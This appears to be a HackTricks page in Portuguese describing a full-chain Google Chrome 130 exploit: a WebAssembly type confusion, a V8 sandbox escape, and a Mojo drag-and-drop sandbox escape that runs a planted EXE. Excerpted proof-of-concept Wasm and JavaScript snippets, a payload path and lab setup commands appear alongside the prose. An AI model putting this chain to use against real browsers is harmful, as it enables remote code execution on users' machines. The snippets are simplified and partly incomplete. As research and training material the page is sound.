Chrome Exploiting

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Esta página fornece uma visão geral de alto nível, porém prática, de um fluxo de trabalho “full-chain” de exploração moderno contra o Google Chrome 130 com base na série de pesquisa “101 Chrome Exploitation” (Part-0 — Prefácio). O objetivo é dar a pentesters e exploit-developers o background mínimo necessário para reproduzir ou adaptar as técnicas para sua própria pesquisa.

1. Recapitulação da Arquitetura do Chrome

Entender a superfície de ataque requer saber onde o código é executado e quais sandboxes se aplicam.

Layout de processos do Chrome & sandbox ```text +-------------------------------------------------------------------------+ | Chrome Browser | | | | +----------------------------+ +-----------------------------+ | | | Renderer Process | | Browser/main Process | | | | [No direct OS access] | | [OS access] | | | | +----------------------+ | | | | | | | V8 Sandbox | | | | | | | | [JavaScript / Wasm] | | | | | | | +----------------------+ | | | | | +----------------------------+ +-----------------------------+ | | | IPC/Mojo | | | V | | | +----------------------------+ | | | | GPU Process | | | | | [Restricted OS access] | | | | +----------------------------+ | | +-------------------------------------------------------------------------+ ```

Defesa em profundidade em camadas:

  • V8 sandbox (Isolate): as permissões de memória são restritas para impedir leituras/escritas arbitrárias de JITed JS / Wasm.
  • Renderer ↔ Browser split garantida via passagem de mensagens Mojo/IPC; o renderer não tem nenhum acesso nativo a FS/network.
  • OS sandboxes contêm adicionalmente cada processo (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles).

Um atacante remoto precisa, portanto, de três primitivas sucessivas:

  1. Corrupção de memória dentro do V8 para obter RW arbitrário dentro do heap do V8.
  2. Um segundo bug permitindo ao atacante escapar do V8 sandbox para a memória completa do renderer.
  3. Uma fuga final do sandbox (frequentemente lógica em vez de corrupção de memória) para executar código fora do Chrome OS sandbox.

2. Estágio 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Uma falha na optimização Turboshaft do TurboFan classifica incorretamente os WasmGC reference types quando o valor é produzido e consumido dentro de um single basic block loop.

Efeito:

  • O compilador pula a verificação de tipo, tratando uma referência (externref/anyref) como um int64.
  • Wasm especialmente criado permite sobrepor o cabeçalho de um objeto JS com dados controlados pelo atacante → addrOf() & fakeObj() primitivas AAW / AAR.

Minimal PoC (excerpt):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Trigger optimisation & spray objects a partir de JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Resultado: arbitrary read/write within V8.

3. Fase 2 – Escaping the V8 Sandbox (issue 379140430)

Quando uma função Wasm é tier-up-compiled, um JS ↔ Wasm wrapper é gerado. Um signature-mismatch bug faz com que o wrapper escreva além do fim de um objeto confiável Tuple2 quando a função Wasm é re-otimizada enquanto ainda está na stack.

Sobrescrever os 2 × 64-bit fields do objeto Tuple2 produz read/write on any address inside the Renderer process, efetivamente contornando o V8 sandbox.

Passos principais no exploit:

  1. Colocar a função em estado Tier-Up alternando código turbofan/baseline.
  2. Disparar tier-up mantendo uma referência na stack (Function.prototype.apply).
  3. Usar Stage-1 AAR/AAW para localizar e corromper o Tuple2 adjacente.

Identificação do wrapper:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Após a corrupção possuímos um renderer R/W primitive totalmente funcional.

4. Etapa 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

A interface IPC Mojo blink.mojom.DragService.startDragging() pode ser chamada a partir do Renderer com parâmetros parcialmente confiáveis. Ao forjar uma estrutura DragData apontando para um caminho de arquivo arbitrário, o renderer convence o navegador a realizar um arrastar e soltar nativo fora da renderer sandbox.

Abusando disso, podemos ‘arrastar’ programaticamente um EXE malicioso (previamente deixado em um local com permissão de escrita global) para a Área de Trabalho, onde o Windows executa automaticamente certos tipos de arquivo ao serem soltos.

Exemplo (simplificado):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Nenhuma corrupção adicional de memória é necessária – a falha lógica nos dá execução arbitrária de arquivos com os privilégios do usuário.

5. Fluxo Completo da Cadeia

  1. Usuário visita página maliciosa.
  2. Etapa 1: módulo Wasm abusa de CVE-2025-0291 → V8 heap AAR/AAW.
  3. Etapa 2: Wrapper mismatch corrompe Tuple2 → escape V8 sandbox.
  4. Etapa 3: startDragging() IPC → escape OS sandbox & executar payload.

Resultado: Remote Code Execution (RCE) no host (Chrome 130, Windows/Linux/macOS).

6. Configuração do Lab & Depuração

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Flags úteis ao lançar uma versão de desenvolvimento do Chrome:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

7. Renderer → recurso de escape para o kernel

When a renderer exploit needs a kernel pivot that stays inside the seccomp profile, abusing AF_UNIX MSG_OOB sockets still reachable inside the sandbox provides a deterministic path. Check the Linux kernel exploitation case-study below for the SKB UAF → kernel RCE chain:

Af Unix Msg Oob Uaf Skb Primitives

Conclusões

  • WebAssembly JIT bugs continuam sendo um ponto de entrada confiável — o sistema de tipos ainda é jovem.
  • Obter um segundo memory-corruption bug dentro do V8 (por exemplo, wrapper mismatch) simplifica muito a V8-sandbox escape.
  • Fraquezas a nível lógico em interfaces Mojo IPC privilegiadas costumam ser suficientes para um final sandbox escape — fique atento a bugs non-memory.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks